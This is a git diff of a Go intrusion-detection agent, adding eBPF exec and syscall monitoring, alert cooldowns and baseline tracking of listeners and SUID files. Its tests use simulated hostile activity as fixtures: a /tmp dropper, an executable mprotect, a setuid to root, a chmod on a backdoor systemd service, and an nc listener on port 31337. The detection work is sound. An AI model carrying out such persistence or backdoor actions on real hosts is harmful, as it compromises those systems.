host, err = os.Hostname()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
if timestamp == "" {
|
||||
timestamp = time.Now().Local().Format(time.RFC3339Nano)
|
||||
} else if _, err := time.Parse(time.RFC3339Nano, timestamp); err != nil {
|
||||
return fmt.Errorf("timestamp: %w", err)
|
||||
}
|
||||
rules := events.NewRuleSet(engine)
|
||||
encoder := json.NewEncoder(output)
|
||||
encoder.SetEscapeHTML(false)
|
||||
return events.ScanJSONL(input, func(raw []byte) error {
|
||||
alerts, err := rules.MatchJSON(raw)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, alert := range alerts {
|
||||
record, err := schema.Build("alert", alert, host, timestamp)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if err := encoder.Encode(record); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
|
|
|
|||
162
go-agent/cmd/enodia-sentinel-go/main_test.go
Normal file
162
go-agent/cmd/enodia-sentinel-go/main_test.go
Normal file
|
|
@ -0,0 +1,162 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"strings"
|
||||
"syscall"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/agent"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/ebpfsource"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/events"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
type oneExecReader struct {
|
||||
event events.ExecEvent
|
||||
cancel context.CancelFunc
|
||||
read bool
|
||||
}
|
||||
|
||||
func (r *oneExecReader) Read() (events.ExecEvent, error) {
|
||||
if !r.read {
|
||||
r.read = true
|
||||
return r.event, nil
|
||||
}
|
||||
r.cancel()
|
||||
return events.ExecEvent{}, io.EOF
|
||||
}
|
||||
|
||||
type oneSyscallReader struct {
|
||||
event ebpfsource.SecurityEvent
|
||||
cancel context.CancelFunc
|
||||
read bool
|
||||
}
|
||||
|
||||
func (r *oneSyscallReader) Read() (ebpfsource.SecurityEvent, error) {
|
||||
if !r.read {
|
||||
r.read = true
|
||||
return r.event, nil
|
||||
}
|
||||
r.cancel()
|
||||
return ebpfsource.SecurityEvent{}, io.EOF
|
||||
}
|
||||
|
||||
func TestMonitorExecSourceUsesSharedAlertPipeline(t *testing.T) {
|
||||
runner := monitorTestAgent()
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
reader := &oneExecReader{
|
||||
event: events.ExecEvent{PID: 42, PPID: 7, UID: 1000, ParentComm: "bash", Filename: "/tmp/dropper"},
|
||||
cancel: cancel,
|
||||
}
|
||||
var records []map[string]any
|
||||
monitorExecSource(ctx, reader, events.DefaultExecRuleEngine(), runner, func(record map[string]any) error {
|
||||
records = append(records, record)
|
||||
return nil
|
||||
})
|
||||
if len(records) != 1 || records[0]["event_type"] != "alert" {
|
||||
t.Fatalf("unexpected records: %#v", records)
|
||||
}
|
||||
alert := records[0]["alert"].(model.Alert)
|
||||
if alert.SID != 100001 || alert.Key != "exec:100001:42" {
|
||||
t.Fatalf("unexpected alert: %#v", alert)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMonitorSyscallSourceUsesSharedAlertPipeline(t *testing.T) {
|
||||
runner := monitorTestAgent()
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
reader := &oneSyscallReader{
|
||||
event: ebpfsource.SecurityEvent{Syscall: &events.SyscallEvent{
|
||||
PID: 42, PPID: 7, UID: 1000, Comm: "dropper", Syscall: "mprotect",
|
||||
Args: [6]uint64{0x1000, 0x2000, 0x6},
|
||||
}},
|
||||
cancel: cancel,
|
||||
}
|
||||
var records []map[string]any
|
||||
monitorSyscallSource(ctx, reader, events.DefaultSyscallRuleEngine(), events.DefaultHostRuleEngine(), runner, func(record map[string]any) error {
|
||||
records = append(records, record)
|
||||
return nil
|
||||
})
|
||||
if len(records) != 1 || records[0]["event_type"] != "alert" {
|
||||
t.Fatalf("unexpected records: %#v", records)
|
||||
}
|
||||
alert := records[0]["alert"].(model.Alert)
|
||||
if alert.SID != 100060 || alert.Key != "syscall:100060:42:mprotect:1000:6" {
|
||||
t.Fatalf("unexpected alert: %#v", alert)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMonitorSyscallSourceRoutesTypedHostEvent(t *testing.T) {
|
||||
runner := monitorTestAgent()
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
reader := &oneSyscallReader{
|
||||
event: ebpfsource.SecurityEvent{Host: &events.HostEvent{
|
||||
Event: "setuid", PID: 42, PPID: 7, UID: 1000, Comm: "python3",
|
||||
TargetUID: 0, TargetGID: -1,
|
||||
}},
|
||||
cancel: cancel,
|
||||
}
|
||||
var records []map[string]any
|
||||
monitorSyscallSource(ctx, reader, events.DefaultSyscallRuleEngine(), events.DefaultHostRuleEngine(), runner, func(record map[string]any) error {
|
||||
records = append(records, record)
|
||||
return nil
|
||||
})
|
||||
if len(records) != 1 {
|
||||
t.Fatalf("unexpected records: %#v", records)
|
||||
}
|
||||
alert := records[0]["alert"].(model.Alert)
|
||||
if alert.SID != 100071 || alert.Signature != "host_rule.privilege-transition" {
|
||||
t.Fatalf("unexpected alert: %#v", alert)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMonitorSyscallSourceRoutesPermissionChange(t *testing.T) {
|
||||
runner := monitorTestAgent()
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
reader := &oneSyscallReader{
|
||||
event: ebpfsource.SecurityEvent{Host: &events.HostEvent{
|
||||
Event: "chmod", PID: 42, PPID: 7, UID: 1000, Comm: "installer",
|
||||
Path: "/etc/systemd/system/backdoor.service", Mode: 0o755,
|
||||
TargetUID: -1, TargetGID: -1,
|
||||
}},
|
||||
cancel: cancel,
|
||||
}
|
||||
var records []map[string]any
|
||||
monitorSyscallSource(ctx, reader, events.DefaultSyscallRuleEngine(), events.DefaultHostRuleEngine(), runner, func(record map[string]any) error {
|
||||
records = append(records, record)
|
||||
return nil
|
||||
})
|
||||
if len(records) != 1 {
|
||||
t.Fatalf("unexpected records: %#v", records)
|
||||
}
|
||||
alert := records[0]["alert"].(model.Alert)
|
||||
if alert.SID != 100070 || alert.Signature != "host_rule.persistence-permission-change" {
|
||||
t.Fatalf("unexpected alert: %#v", alert)
|
||||
}
|
||||
}
|
||||
|
||||
func monitorTestAgent() *agent.Agent {
|
||||
runner := agent.New(config.Default(), nil)
|
||||
runner.Host = func() (string, error) { return "host-a", nil }
|
||||
runner.Now = func() time.Time {
|
||||
return time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC)
|
||||
}
|
||||
return runner
|
||||
}
|
||||
|
||||
func TestProbeFailureStatusIsConcise(t *testing.T) {
|
||||
if got := probeFailureStatus(fmt.Errorf("load: %w", syscall.EPERM)); got != "permission denied" {
|
||||
t.Fatalf("permission status=%q", got)
|
||||
}
|
||||
got := probeFailureStatus(fmt.Errorf("%s\nverifier detail", strings.Repeat("x", 200)))
|
||||
if len([]rune(got)) != 160 || !strings.HasSuffix(got, "…") {
|
||||
t.Fatalf("unexpected truncated status: %q", got)
|
||||
}
|
||||
}
|
||||
|
|
@ -1,3 +1,8 @@
|
|||
module codeberg.org/anassaeneroi/enodia-sentinal/go-agent
|
||||
|
||||
go 1.23
|
||||
go 1.25.0
|
||||
|
||||
require (
|
||||
github.com/cilium/ebpf v0.22.0
|
||||
golang.org/x/sys v0.43.0
|
||||
)
|
||||
|
|
|
|||
26
go-agent/go.sum
Normal file
26
go-agent/go.sum
Normal file
|
|
@ -0,0 +1,26 @@
|
|||
github.com/cilium/ebpf v0.22.0 h1:v2ktp0roffpMOj2MMf3idtCQZOsAoC4BJbAJN+ke2bY=
|
||||
github.com/cilium/ebpf v0.22.0/go.mod h1:CDzZbe2hC5JjlDC+CY3KFCzlYwN4gbxppYM+Z10bQt4=
|
||||
github.com/go-quicktest/qt v1.101.1-0.20240301121107-c6c8733fa1e6 h1:teYtXy9B7y5lHTp8V9KPxpYRAVA7dozigQcMiBust1s=
|
||||
github.com/go-quicktest/qt v1.101.1-0.20240301121107-c6c8733fa1e6/go.mod h1:p4lGIVX+8Wa6ZPNDvqcxq36XpUDLh42FLetFU7odllI=
|
||||
github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
|
||||
github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
|
||||
github.com/josharian/native v1.1.0 h1:uuaP0hAbW7Y4l0ZRQ6C9zfb7Mg1mbFKry/xzDAfmtLA=
|
||||
github.com/josharian/native v1.1.0/go.mod h1:7X/raswPFr05uY3HiLlYeyQntB6OO7E/d2Cu7qoaN2w=
|
||||
github.com/jsimonetti/rtnetlink/v2 v2.0.1 h1:xda7qaHDSVOsADNouv7ukSuicKZO7GgVUCXxpaIEIlM=
|
||||
github.com/jsimonetti/rtnetlink/v2 v2.0.1/go.mod h1:7MoNYNbb3UaDHtF8udiJo/RH6VsTKP1pqKLUTVCvToE=
|
||||
github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE=
|
||||
github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk=
|
||||
github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY=
|
||||
github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE=
|
||||
github.com/mdlayher/netlink v1.7.2 h1:/UtM3ofJap7Vl4QWCPDGXY8d3GIY2UGSDbK+QWmY8/g=
|
||||
github.com/mdlayher/netlink v1.7.2/go.mod h1:xraEF7uJbxLhc5fpHL4cPe221LI2bdttWlU+ZGLfQSw=
|
||||
github.com/mdlayher/socket v0.5.1 h1:VZaqt6RkGkt2OE9l3GcC6nZkqD3xKeQLyfleW/uBcos=
|
||||
github.com/mdlayher/socket v0.5.1/go.mod h1:TjPLHI1UgwEv5J1B5q0zTZq12A/6H7nKmtTanQE37IQ=
|
||||
github.com/rogpeppe/go-internal v1.14.1 h1:UQB4HGPB6osV0SQTLymcB4TgvyWu6ZyliaW0tI/otEQ=
|
||||
github.com/rogpeppe/go-internal v1.14.1/go.mod h1:MaRKkUm5W0goXpeCfT7UZI6fk/L7L7so1lCWt35ZSgc=
|
||||
golang.org/x/net v0.48.0 h1:zyQRTTrjc33Lhh0fBgT/H3oZq9WuvRR5gPC70xpDiQU=
|
||||
golang.org/x/net v0.48.0/go.mod h1:+ndRgGjkh8FGtu1w1FGbEC31if4VrNVMuKTgcAAnQRY=
|
||||
golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4=
|
||||
golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0=
|
||||
golang.org/x/sys v0.43.0 h1:Rlag2XtaFTxp19wS8MXlJwTvoh8ArU6ezoyFsMyCTNI=
|
||||
golang.org/x/sys v0.43.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
|
|
@ -2,15 +2,17 @@
|
|||
|
||||
// Package agent owns the parallel Go sweep loop. It emits JSON-compatible
|
||||
// records but does not write Python daemon state or replace the production
|
||||
// service during Phase 1.
|
||||
// service during migration.
|
||||
package agent
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/baseline"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/detectors"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
|
|
@ -25,36 +27,60 @@ type CaptureFunc func() (model.State, error)
|
|||
// EmitFunc receives one enodia.event.v1-compatible record.
|
||||
type EmitFunc func(map[string]any) error
|
||||
|
||||
// Agent is the Phase 1 sidecar sweep loop.
|
||||
// Agent is the migration sidecar sweep loop.
|
||||
type Agent struct {
|
||||
Config config.Config
|
||||
Capture CaptureFunc
|
||||
Host func() (string, error)
|
||||
Now func() time.Time
|
||||
// Lifecycle is nil for deterministic fixtures. Live sidecars attach a
|
||||
// baseline manager so startup grace and durable first-seen state match the
|
||||
// Python oracle without contaminating parity inputs.
|
||||
Lifecycle *baseline.Manager
|
||||
|
||||
cooldownMu sync.Mutex
|
||||
cooldowns map[string]time.Time
|
||||
probeMu sync.RWMutex
|
||||
ebpf string
|
||||
ebpfExec string
|
||||
ebpfSyscall string
|
||||
initializeMu sync.Mutex
|
||||
initialized bool
|
||||
initializeErr error
|
||||
}
|
||||
|
||||
// New builds an agent with production clock and hostname providers.
|
||||
func New(cfg config.Config, capture CaptureFunc) *Agent {
|
||||
return &Agent{
|
||||
Config: cfg,
|
||||
Capture: capture,
|
||||
Host: os.Hostname,
|
||||
Now: time.Now,
|
||||
Config: cfg,
|
||||
Capture: capture,
|
||||
Host: os.Hostname,
|
||||
Now: time.Now,
|
||||
ebpf: "unknown",
|
||||
ebpfExec: "unknown",
|
||||
ebpfSyscall: "unknown",
|
||||
}
|
||||
}
|
||||
|
||||
// Sweep captures state once and returns alert events followed by one status
|
||||
// event. Retained snapshot fields remain empty until persistence is ported.
|
||||
// event. The executable replaces the zero-value retention fields after its
|
||||
// optional snapshot sink has durably processed the preceding alert records.
|
||||
func (a *Agent) Sweep() ([]map[string]any, error) {
|
||||
state, err := a.Capture()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
now := a.Now()
|
||||
if a.Lifecycle != nil {
|
||||
if err := a.Lifecycle.Prepare(&state, now); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
host, err := a.Host()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
timestamp := a.Now().Local().Format(time.RFC3339Nano)
|
||||
timestamp := now.Local().Format(time.RFC3339Nano)
|
||||
|
||||
alerts := make([]model.Alert, 0)
|
||||
// Preserve the relative order of Python detectors.REGISTRY. Snapshot and
|
||||
|
|
@ -84,14 +110,32 @@ func (a *Agent) Sweep() ([]map[string]any, error) {
|
|||
if a.Config.Enabled("egress") {
|
||||
alerts = append(alerts, detectors.Egress(state, a.Config)...)
|
||||
}
|
||||
events := make([]map[string]any, 0, len(alerts)+1)
|
||||
for _, alert := range alerts {
|
||||
record, err := schema.Build("alert", alert, host, timestamp)
|
||||
if err != nil {
|
||||
// Python's registry uses listener_baseline as one shared arming gate for
|
||||
// all four baseline-diff detectors, including first_seen and persistence.
|
||||
if state.ListenerBaseline != nil {
|
||||
if a.Config.Enabled("first_seen") {
|
||||
alerts = append(alerts, detectors.FirstSeen(state, a.Config)...)
|
||||
}
|
||||
if a.Config.Enabled("new_listener") {
|
||||
alerts = append(alerts, detectors.NewListener(state, a.Config)...)
|
||||
}
|
||||
if a.Config.Enabled("persistence") {
|
||||
alerts = append(alerts, detectors.Persistence(state, a.Config)...)
|
||||
}
|
||||
if a.Config.Enabled("new_suid") {
|
||||
alerts = append(alerts, detectors.NewSUID(state, a.Config)...)
|
||||
}
|
||||
}
|
||||
if a.Lifecycle != nil {
|
||||
if err := a.Lifecycle.Commit(state, now); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
events = append(events, record)
|
||||
}
|
||||
events, err := a.alertEvents(alerts, now, host, timestamp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ebpfStatus, ebpfExecStatus, ebpfSyscallStatus := a.probeStatus()
|
||||
status := schema.Status{
|
||||
Schema: schema.StatusV1,
|
||||
Version: Version,
|
||||
|
|
@ -99,9 +143,9 @@ func (a *Agent) Sweep() ([]map[string]any, error) {
|
|||
TotalAlerts: 0,
|
||||
Counts: map[string]int{},
|
||||
LastAlert: nil,
|
||||
EBPF: "unknown",
|
||||
EBPFExec: "unknown",
|
||||
EBPFSyscall: "unknown",
|
||||
EBPF: ebpfStatus,
|
||||
EBPFExec: ebpfExecStatus,
|
||||
EBPFSyscall: ebpfSyscallStatus,
|
||||
Host: host,
|
||||
}
|
||||
record, err := schema.Build("status", status, host, timestamp)
|
||||
|
|
@ -111,12 +155,108 @@ func (a *Agent) Sweep() ([]map[string]any, error) {
|
|||
return append(events, record), nil
|
||||
}
|
||||
|
||||
// SetExecProbeStatus updates both the compatibility eBPF field and the
|
||||
// specific exec-probe field. It is safe to call from a source goroutine after
|
||||
// an asynchronous reader failure.
|
||||
func (a *Agent) SetExecProbeStatus(status string) {
|
||||
a.probeMu.Lock()
|
||||
defer a.probeMu.Unlock()
|
||||
a.ebpf = status
|
||||
a.ebpfExec = status
|
||||
}
|
||||
|
||||
// SetSyscallProbeStatus updates the syscall-specific probe field. The legacy
|
||||
// eBPF field continues to mirror exec status, matching the Python contract.
|
||||
func (a *Agent) SetSyscallProbeStatus(status string) {
|
||||
a.probeMu.Lock()
|
||||
defer a.probeMu.Unlock()
|
||||
a.ebpfSyscall = status
|
||||
}
|
||||
|
||||
func (a *Agent) probeStatus() (string, string, string) {
|
||||
a.probeMu.RLock()
|
||||
defer a.probeMu.RUnlock()
|
||||
return a.ebpf, a.ebpfExec, a.ebpfSyscall
|
||||
}
|
||||
|
||||
// AlertEvents applies the shared cooldown gate and wraps asynchronous detector
|
||||
// results in the same schema used by sweep alerts. Live kernel sources call
|
||||
// this method instead of maintaining a second emission path.
|
||||
func (a *Agent) AlertEvents(alerts []model.Alert) ([]map[string]any, error) {
|
||||
now := a.Now()
|
||||
host, err := a.Host()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return a.alertEvents(alerts, now, host, now.Local().Format(time.RFC3339Nano))
|
||||
}
|
||||
|
||||
func (a *Agent) alertEvents(alerts []model.Alert, now time.Time, host, timestamp string) ([]map[string]any, error) {
|
||||
alerts = a.freshAlerts(alerts, now)
|
||||
records := make([]map[string]any, 0, len(alerts))
|
||||
for _, alert := range alerts {
|
||||
record, err := schema.Build("alert", alert, host, timestamp)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
records = append(records, record)
|
||||
}
|
||||
return records, nil
|
||||
}
|
||||
|
||||
// Initialize establishes live baselines before asynchronous event sources are
|
||||
// started. It is idempotent so an executable can enforce startup ordering and
|
||||
// Run can still safely own initialization for library callers.
|
||||
func (a *Agent) Initialize() error {
|
||||
a.initializeMu.Lock()
|
||||
defer a.initializeMu.Unlock()
|
||||
if a.initialized {
|
||||
return a.initializeErr
|
||||
}
|
||||
a.initialized = true
|
||||
if a.Lifecycle != nil {
|
||||
if a.Capture == nil {
|
||||
a.initializeErr = fmt.Errorf("capture function is required for baseline initialization")
|
||||
return a.initializeErr
|
||||
}
|
||||
// Use the same injectable clock for lifecycle gates and event timestamps;
|
||||
// otherwise fixed-clock tests could arm against wall time by accident.
|
||||
a.Lifecycle.Now = a.Now
|
||||
a.initializeErr = a.Lifecycle.Initialize(baseline.CaptureFunc(a.Capture))
|
||||
}
|
||||
return a.initializeErr
|
||||
}
|
||||
|
||||
// freshAlerts mirrors Python's per-key cooldown gate. The mutex matters once
|
||||
// live event sources join polling: asynchronous kernel alerts and sweep alerts
|
||||
// must consume the same cooldown slots instead of racing into duplicates.
|
||||
func (a *Agent) freshAlerts(alerts []model.Alert, now time.Time) []model.Alert {
|
||||
a.cooldownMu.Lock()
|
||||
defer a.cooldownMu.Unlock()
|
||||
if a.cooldowns == nil {
|
||||
a.cooldowns = make(map[string]time.Time)
|
||||
}
|
||||
fresh := make([]model.Alert, 0, len(alerts))
|
||||
for _, alert := range alerts {
|
||||
previous, seen := a.cooldowns[alert.Key]
|
||||
if seen && now.Sub(previous) < a.Config.Cooldown {
|
||||
continue
|
||||
}
|
||||
a.cooldowns[alert.Key] = now
|
||||
fresh = append(fresh, alert)
|
||||
}
|
||||
return fresh
|
||||
}
|
||||
|
||||
// Run emits one sweep immediately and then waits for each configured interval.
|
||||
// once is used by parity checks and operator-visible smoke tests.
|
||||
func (a *Agent) Run(ctx context.Context, once bool, emit EmitFunc) error {
|
||||
if a.Capture == nil || emit == nil {
|
||||
return fmt.Errorf("capture and emit functions are required")
|
||||
}
|
||||
if err := a.Initialize(); err != nil {
|
||||
return err
|
||||
}
|
||||
for {
|
||||
events, err := a.Sweep()
|
||||
if err != nil {
|
||||
|
|
|
|||
|
|
@ -7,8 +7,10 @@ import (
|
|||
"testing"
|
||||
"time"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/baseline"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/schema"
|
||||
)
|
||||
|
||||
func intPointer(value int) *int { return &value }
|
||||
|
|
@ -40,6 +42,66 @@ func TestRunOnceEmitsAlertAndStatusEnvelopes(t *testing.T) {
|
|||
}
|
||||
}
|
||||
|
||||
func TestRunAttachesLiveBaselineLifecycle(t *testing.T) {
|
||||
cfg := config.Default()
|
||||
cfg.LogDir = t.TempDir()
|
||||
cfg.BaselineGrace = 0
|
||||
calls := 0
|
||||
capture := func() (model.State, error) {
|
||||
calls++
|
||||
port := "0.0.0.0:22"
|
||||
comm := "sshd"
|
||||
if calls > 1 {
|
||||
port = "0.0.0.0:31337"
|
||||
comm = "nc"
|
||||
}
|
||||
pid := 42
|
||||
return model.State{Sockets: []model.Socket{{
|
||||
State: "LISTEN", Local: port, Comm: comm, PID: &pid, Kind: "tcp",
|
||||
}}}, nil
|
||||
}
|
||||
runner := New(cfg, capture)
|
||||
runner.Lifecycle = baseline.New(cfg, func() []string { return []string{} })
|
||||
runner.Host = func() (string, error) { return "host-a", nil }
|
||||
runner.Now = func() time.Time {
|
||||
return time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC)
|
||||
}
|
||||
var events []map[string]any
|
||||
if err := runner.Run(context.Background(), true, func(event map[string]any) error {
|
||||
events = append(events, event)
|
||||
return nil
|
||||
}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if calls != 2 || len(events) != 2 {
|
||||
t.Fatalf("unexpected lifecycle result: calls=%d events=%#v", calls, events)
|
||||
}
|
||||
alert := events[0]["alert"].(model.Alert)
|
||||
if alert.Signature != "new_listener" || alert.Key != "lis:31337/nc" {
|
||||
t.Fatalf("unexpected alert: %#v", alert)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInitializeIsIdempotent(t *testing.T) {
|
||||
cfg := config.Default()
|
||||
cfg.LogDir = t.TempDir()
|
||||
calls := 0
|
||||
runner := New(cfg, func() (model.State, error) {
|
||||
calls++
|
||||
return model.State{}, nil
|
||||
})
|
||||
runner.Lifecycle = baseline.New(cfg, func() []string { return nil })
|
||||
if err := runner.Initialize(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := runner.Initialize(); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if calls != 1 {
|
||||
t.Fatalf("initial capture count=%d, want 1", calls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDisabledDetectorEmitsStatusOnly(t *testing.T) {
|
||||
cfg := config.Default()
|
||||
cfg.Detectors = map[string]bool{}
|
||||
|
|
@ -55,6 +117,68 @@ func TestDisabledDetectorEmitsStatusOnly(t *testing.T) {
|
|||
}
|
||||
}
|
||||
|
||||
func TestSweepAppliesPerKeyCooldown(t *testing.T) {
|
||||
cfg := config.Default()
|
||||
cfg.Cooldown = 60 * time.Second
|
||||
runner := New(cfg, func() (model.State, error) {
|
||||
return model.State{Processes: []model.Process{{
|
||||
PID: 42, Comm: "dropper", Exe: "/tmp/dropper (deleted)",
|
||||
}}}, nil
|
||||
})
|
||||
now := time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC)
|
||||
runner.Now = func() time.Time { return now }
|
||||
first, err := runner.Sweep()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
now = now.Add(30 * time.Second)
|
||||
second, err := runner.Sweep()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
now = now.Add(31 * time.Second)
|
||||
third, err := runner.Sweep()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(first) != 2 || len(second) != 1 || len(third) != 2 {
|
||||
t.Fatalf("cooldown output mismatch: %d %d %d", len(first), len(second), len(third))
|
||||
}
|
||||
}
|
||||
|
||||
func TestAsyncAlertsShareCooldownAndStatusReportsProbeState(t *testing.T) {
|
||||
cfg := config.Default()
|
||||
cfg.Cooldown = time.Minute
|
||||
runner := New(cfg, func() (model.State, error) { return model.State{}, nil })
|
||||
runner.Host = func() (string, error) { return "host-a", nil }
|
||||
now := time.Date(2026, 7, 20, 12, 0, 0, 0, time.UTC)
|
||||
runner.Now = func() time.Time { return now }
|
||||
runner.SetExecProbeStatus("enabled")
|
||||
runner.SetSyscallProbeStatus("disabled (test)")
|
||||
alert := model.Alert{SID: 100001, Key: "exec:100001:42"}
|
||||
|
||||
first, err := runner.AlertEvents([]model.Alert{alert})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
now = now.Add(30 * time.Second)
|
||||
second, err := runner.AlertEvents([]model.Alert{alert})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
sweep, err := runner.Sweep()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
status := sweep[0]["status"].(schema.Status)
|
||||
if len(first) != 1 || len(second) != 0 {
|
||||
t.Fatalf("async cooldown mismatch: first=%d second=%d", len(first), len(second))
|
||||
}
|
||||
if status.EBPF != "enabled" || status.EBPFExec != "enabled" || status.EBPFSyscall != "disabled (test)" {
|
||||
t.Fatalf("unexpected probe status: %#v", status)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSweepPreservesPythonDetectorOrder(t *testing.T) {
|
||||
agent := New(config.Default(), func() (model.State, error) {
|
||||
return model.State{
|
||||
|
|
|
|||
298
go-agent/internal/baseline/manager.go
Normal file
298
go-agent/internal/baseline/manager.go
Normal file
|
|
@ -0,0 +1,298 @@
|
|||
// SPDX-License-Identifier: GPL-3.0-or-later
|
||||
|
||||
// Package baseline owns the state that makes baseline-diff detectors useful
|
||||
// outside the deterministic parity fixture. It deliberately stops short of
|
||||
// forensic alert snapshots; bounded envelope retention belongs to eventlog.
|
||||
package baseline
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/config"
|
||||
"codeberg.org/anassaeneroi/enodia-sentinal/go-agent/internal/model"
|
||||
)
|
||||
|
||||
const firstSeenSchema = "enodia.first_seen.v1"
|
||||
|
||||
// CaptureFunc and ScanSUIDFunc keep host collection injectable. Unit tests can
|
||||
// exercise the full lifecycle without reading the real /proc or filesystem.
|
||||
type CaptureFunc func() (model.State, error)
|
||||
type ScanSUIDFunc func() []string
|
||||
|
||||
type firstSeenStore struct {
|
||||
Schema string `json:"schema"`
|
||||
Initialized bool `json:"initialized"`
|
||||
PublicDestinations map[string][]string `json:"public_destinations"`
|
||||
ListenerPorts map[string][]string `json:"listener_ports"`
|
||||
}
|
||||
|
||||
// Manager decorates each captured State with the previous-sweep and durable
|
||||
// baseline views expected by Python's four baseline detectors.
|
||||
type Manager struct {
|
||||
Config config.Config
|
||||
Now func() time.Time
|
||||
ScanSUID ScanSUIDFunc
|
||||
|
||||
mu sync.Mutex
|
||||
initialized bool
|
||||
started time.Time
|
||||
lastPersistScan time.Time
|
||||
lastSUIDScan time.Time
|
||||
lastSUIDRefresh time.Time
|
||||
suidScanRunning bool
|
||||
listenerBaseline []string
|
||||
suidBaseline []string
|
||||
suidCurrent []string
|
||||
firstSeen firstSeenStore
|
||||
}
|
||||
|
||||
func New(cfg config.Config, scanSUID ScanSUIDFunc) *Manager {
|
||||
return &Manager{Config: cfg, Now: time.Now, ScanSUID: scanSUID}
|
||||
}
|
||||
|
||||
// Initialize snapshots startup listeners and privileged files. As in Python,
|
||||
// startup state becomes the baseline; stored listener/SUID files are operator
|
||||
// artifacts, not inputs reloaded on daemon restart.
|
||||
func (m *Manager) Initialize(capture CaptureFunc) error {
|
||||
if capture == nil {
|
||||
return fmt.Errorf("baseline capture is required")
|
||||
}
|
||||
started := m.Now()
|
||||
state, err := capture()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
listeners := listenerKeys(state.Sockets)
|
||||
var suid []string
|
||||
if m.ScanSUID != nil {
|
||||
suid = sortedUnique(m.ScanSUID())
|
||||
}
|
||||
if err := os.MkdirAll(m.Config.LogDir, 0o750); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := writeJSONAtomic(filepath.Join(m.Config.LogDir, "listener-baseline.json"), listeners); err != nil {
|
||||
return err
|
||||
}
|
||||
